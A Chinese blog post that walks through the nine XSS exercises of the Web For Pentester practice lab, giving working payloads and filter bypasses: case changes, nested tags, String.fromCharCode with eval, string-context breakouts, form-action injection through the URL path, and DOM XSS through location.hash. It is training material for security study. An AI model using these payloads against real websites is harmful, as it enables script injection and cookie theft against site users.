Pentester中的XSS详解

记录了PentesterLab中的XSS题的解题方法,普及了一些XSS入门知识。
本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建

本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建

第1题(无过滤措施)

首先在后面输入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下页面:
image
然后查看下源码:
image
感觉这里没有任何的防御措施,忍不住笑出了声。
image
有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。

利用基本的script标签来弹窗

Payload

<script>alert('xss')</script>

定义和用法

script 标签用于定义客户端脚本,比如 JavaScript。

效果图

image

利用iframe标签的的src属性来弹窗

Payload

<iframe src=javascript:alert('xss')></iframe>

定义和用法

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。

效果图

image

利用<a>标签的href属性来弹窗

Payload

<a href=javascript:alert('xss')>ggtest</a>

这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的cookie
image

定义和用法

<a> 标签定义超链接,用于从一张页面链接到另一张页面。
<a> 元素最重要的属性是 href 属性,它指示链接的目标。
指向国光博客的一个例子:

<a href="https://www.sqlsec.com”>国光博客</a>

效果图

image

利用<img>标签来弹窗

Payload

<img src=1 onerror=alert('xss')>  

这里的src后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为1不是一个正确的值,所以 触发了后面的 onerror事件(遇到错误 就触发)
image
当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。
image
src后面的值是正确的时候呢,这个还可以用 oneclick事件来触发弹窗

<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>  

这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。
image
类似 onerror 和 onclick 的事件有很多种下面

列举出常见的事件

Windows事件属性

事件 作用
onerror 在错误发生时运行的脚本
onload 页面结束加载之后触发
#### Keyboard 事件
事件 作用
onkeydown 在用户按下按键时触发
onkeypress 在用户敲击按钮时触发
onkeyup 当用户释放按键时触发

鼠标(Mouse)事件

事件 作用
onclick 元素上发生鼠标点击时触发
onmousedown 当元素上按下鼠标按钮时触发
onmousemove 当鼠标指针移动到元素上时触发。
onmouseover 当鼠标指针移动到元素上时触
onmouseout 当鼠标指针移出元素时触发
onmouseup 当在元素上释放鼠标按钮时触发

定义和用法

img 元素向网页中嵌入一幅图像。
请注意,从技术上讲,<img> 标签并不会在网页中插入图像,而是从网页上链接图像。<img> 标签创建的是被引用图像的占位空间。
<img> 标签有两个必需的属性:src 属性 和 alt 属性

凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就

列举出一些支持事件的HTML常见标签

标签 作用
a 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标
article 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发
audio 定义声音,比如音乐或其他音频流
b 规定粗体文本
body 定义文档的主体,包含文档的所有内容
br 只是简单地开始新的一行
button 定义一个按钮
iframe 会创建包含另外一个文档的内联框架
img 向网页中嵌入一幅图像
select 可创建单选或多选菜单
style 用于为 HTML 文档定义样式信息
textarea 标签定义多行的文本输入控件
video 定义视频,比如电影片段或其他视频流

第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个

综合点的payload

http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')>  移动到元素触发xss  </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>

image

第2题(大小写转换)

这一题的话, 除了<script>alert('xss')</script>这个payload,其他用第一题中的其他payload:

<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...

依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>来试试看
image
查看下源码:
image
这里我们猜测过滤<script></script>
然后这里尝试下大小写转换,尝试着绕过过滤:

<Script>alert('xss')</scripT>

可以看到成功绕过了:
image

第3题(嵌套构造)

直接输入

<Script>alert('xss')</scripT>

发现大小写转换的这个套路已经不能够使用了
image
得到结论是:没有过滤alert(‘xss’),现在就把注意力集中在 <script></script>
Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。

http://10.211.55.16/xss/example3.php?name=<></>script<script>

image
可以看出过滤了:</script><script>
尝试构造输入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

image
查看源码后发现成功构造出

 <script>

于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:

 http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

image

第4题(利用标签绕过)

直接输入:<script>alert('xss')</script>发现直接 error
于是再次出尝试输入:

 http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

image
再次得出结论:没有过滤<> </> alerrt('xss'),现在主要想办法对script做个处理来绕过过滤。
然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=
~放弃用这种形式的<script>alert('xss')</script>的payload了,于是乎使用下面的<img>标签成功绕过:

 <img src=1 onerror=alert('xss')>

第5题(String.fromCharCode编码绕过)

首先执行:

 <script>alert('xss')</script>

发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script></script>
只是过滤了:alert
利用火狐浏览器的hackbar插件对alert('xss')进行String.fromCharCode转换:

 <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

image

第6题(闭合标签)

首先默认查看下源码:
image
发现我们输出的hacker作为了一个变量赋值给了a,并且这个变量在<script>这个标签中
这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>这个标签来弹窗了。
下面想办法闭合进行 fuzz 测试……
这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:

 11";</script><img src=1 onerror=alert('xss')><script>

image 来查看下源码来简单的分析一下:


Hello
<script>
    var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
          <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

pauyload最前面的
11";</script> 闭合了前面的<script>标签
最后面的
<script> 闭合了后面的<script>标签
中间的

<img src=1 onerror=alert('xss')>

用来触发 弹窗事件

第7题

首先来查看下源码:
image
感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:

 hacker';</script><img src=1 onerror=alert('xss')><script>

结果并没有弹窗,赶紧查看下源码压压惊:
image
可以看到对输入的 </>符号进行转义了,导致我们的弹窗失败。
所以现在的着重点就是 如何处理这些符号:
</>
然而我失败了,对这些符号进行转码也是失败了,后来想了好久终于知道问题所在了:
受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签
后来仔细想想,这个变量 就在<script>里面,可以在里面直接写alert(‘xss’)来弹窗的,这样也就不需要使用
</>特殊符号了。这么看来的话,第6题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的….

http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

image
查看下源码:


Hello
<script>
    var $a= "name=";alert('xss');var b="";
</script>
          <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

这里 巧妙的利用了 ; 来在<script>标签里面执行alert('xss')

第8题

是一个输入框,然后输入payload:<img src=1 onerror=alert('xss')>;来试试看,查看源码:

HELLO &lt;img src=1 onerror=alert('xss')&gt;<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

发现也是对 < > 标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于

<form action="/xss/example8.php"

这是第8题的URL,于是注意力转移到URL处,尝试在URL后面添加

http://10.211.55.16/xss/example8.php/

查看源码:
image
发现我们最后添加的 :/ 写在了<form>这个标签中,于是在这里进行fuzz测试,尝试闭合标签,最后构造的payload如下:

http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form

来查看下源码来分析刚刚构造的payload:

<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

可以看到这里
/"闭合了最前面的<form>
<form> 闭合了最后面的/>
中间的
<img src=1 onerror=alert('xss')> 触发了弹窗事件

第9题

这一题很特殊,不愧是大boss,这里首先查看下源码:
image
在源码中完全找不到hacker的任何字样,于是仔细百度最可疑的地方:

<script>
  document.write(location.hash.substring(1));
</script>

找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html
这里可以大概看出这里是读取#后面的东西,于是乎简单的在#后面构造xss语句:

http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>

最后一道题目了,得录制个gif来庆祝一下:
image

小结

虽然这个平台只有9道题目,但是用心去整理拓展,发现可以学到很多xss的姿势,这样又把以前快忘记的xss姿势巩固提高了一下,更好的为不久后挖BAT的XSS漏洞做好基础知识的准备。


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
Deepin Linux下的Metasploit安装及优化 Deepin Linux下的Metasploit安装及优化
本文不限于Deepin Linux系统,类似的在ubuntu debian xubuntu等血统类似的Linux发行版中都可以使用这里方法来安装原生的metasploit 前言本文不限于Deepin Linux系统,类似的在ubun
2017-03-23
下一篇 
Docker入门简明教程 Docker入门简明教程
Docker是基于Go语言实现的云开源项目,是基于Linux的多项开源技术提供高效、敏捷和轻量级的容器方案。创建于2013年初。自从开源后就受到了广泛的关注,从长远的眼光来看,Docker是未来虚拟化的一个发展的趋势。带来了更轻量快捷的的
2017-01-14
  目录